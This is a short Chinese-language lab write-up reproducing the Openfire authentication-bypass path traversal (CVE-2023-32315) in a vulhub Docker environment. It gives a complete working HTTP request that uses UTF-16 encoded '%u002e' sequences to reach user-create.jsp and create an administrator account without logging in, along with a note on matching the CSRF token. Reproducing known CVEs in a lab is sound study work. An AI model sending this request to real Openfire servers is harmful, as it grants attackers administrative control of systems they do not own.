今天复现的是openfire的路径穿越漏洞
在CVE-2008-6508。攻击者可以利用`/setup/setup-s/../../xx.jsp`来绕过权限校验并访问任意后台页面
之后,openfire对此进行了防护。但是因为Web服务器的升级,引入了UTF-16字符支持的非标准URL,导致我们可以用UTF-16来绕过防护`/setup/setup-/%u002e%u002e/%u002e%u002e/xxx.jsp`
环境
一键搭建环境
cd vulhub/openfire/CVE-2023-32315
docker-compose up -d
环境搭建好后
访问http://ip:9090,可以来到登录页面
漏洞利用
抓包,修改数据包,利用路径穿越漏洞创建管理员用户
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1
Host: localhost:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken
注意,这里的url中的csrf要与下面的csrf相同,不是‘csrftoken’
虽然返回的数据包异常,但是管理员用户还是创建成功,可以登录